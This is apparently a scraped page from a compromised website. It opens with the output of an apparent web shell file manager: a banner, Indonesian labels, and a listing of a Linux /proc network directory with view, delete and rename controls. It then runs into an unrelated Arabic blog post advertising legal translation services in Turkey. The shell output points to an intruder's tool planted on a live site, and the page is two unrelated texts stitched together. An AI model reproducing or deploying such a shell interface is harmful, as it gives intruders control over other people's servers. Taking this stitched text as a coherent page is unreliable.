Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-08 07:00:37
curdir: / / proc / sys / net / ipv6 / conf / lo / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 0 2026-03-08 05:14:43 0555
.. 0 2026-03-08 05:11:11 0555
accept_dad 0 2026-03-08 05:14:43 0644
accept_ra 0 2026-03-08 05:14:43 0644
accept_ra_defrtr 0 2026-03-08 05:14:43 0644
accept_ra_from_local 0 2026-03-08 05:14:43 0644
accept_ra_min_hop_limit 0 2026-03-08 05:14:43 0644
accept_ra_mtu 0 2026-03-08 05:14:43 0644
accept_ra_pinfo 0 2026-03-08 05:14:43 0644
accept_ra_rt_info_max_plen 0 2026-03-08 05:14:43 0644
accept_ra_rt_info_min_plen 0 2026-03-08 05:14:43 0644
accept_ra_rtr_pref 0 2026-03-08 05:14:43 0644
accept_redirects 0 2026-03-08 05:14:43 0644
accept_source_route 0 2026-03-08 05:14:43 0644
addr_gen_mode 0 2026-03-08 05:14:43 0644
autoconf 0 2026-03-08 05:14:43 0644
dad_transmits 0 2026-03-08 05:14:43 0644
disable_ipv6 0 2026-03-08 05:14:43 0644
disable_policy 0 2026-03-08 05:14:43 0644
drop_unicast_in_l2_multicast 0 2026-03-08 05:14:43 0644
drop_unsolicited_na 0 2026-03-08 05:14:43 0644
enhanced_dad 0 2026-03-08 05:14:43 0644
force_mld_version 0 2026-03-08 05:14:43 0644
force_tllao 0 2026-03-08 05:14:43 0644
forwarding 0 2026-03-08 05:14:43 0644
hop_limit 0 2026-03-08 05:14:43 0644
ignore_routes_with_linkdown 0 2026-03-08 05:14:43 0644
keep_addr_on_down 0 2026-03-08 05:14:43 0644
max_addresses 0 2026-03-08 05:14:43 0644
max_desync_factor 0 2026-03-08 05:14:43 0644
mc_forwarding 0 2026-03-08 05:14:43 0444
mldv1_unsolicited_report_interval 0 2026-03-08 05:14:43 0644
mldv2_unsolicited_report_interval 0 2026-03-08 05:14:43 0644
mtu 0 2026-03-08 05:14:43 0644
ndisc_notify 0 2026-03-08 05:14:43 0644
ndisc_tclass 0 2026-03-08 05:14:43 0644
optimistic_dad 0 2026-03-08 05:14:43 0644
proxy_ndp 0 2026-03-08 05:14:43 0644
regen_max_retry 0 2026-03-08 05:14:43 0644
router_probe_interval 0 2026-03-08 05:14:43 0644
router_solicitation_delay 0 2026-03-08 05:14:43 0644
router_solicitation_interval 0 2026-03-08 05:14:43 0644
router_solicitation_max_interval 0 2026-03-08 05:14:43 0644
router_solicitations 0 2026-03-08 05:14:43 0644
seg6_enabled 0 2026-03-08 05:14:43 0644
stable_secret 0 2026-03-08 05:14:43 0600
suppress_frag_ndisc 0 2026-03-08 05:14:43 0644
temp_prefered_lft 0 2026-03-08 05:14:43 0644
temp_valid_lft 0 2026-03-08 05:14:43 0644
use_oif_addrs_only 0 2026-03-08 05:14:43 0644
use_optimistic 0 2026-03-08 05:14:43 0644
use_tempaddr 0 2026-03-08 05:14:43 0644
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.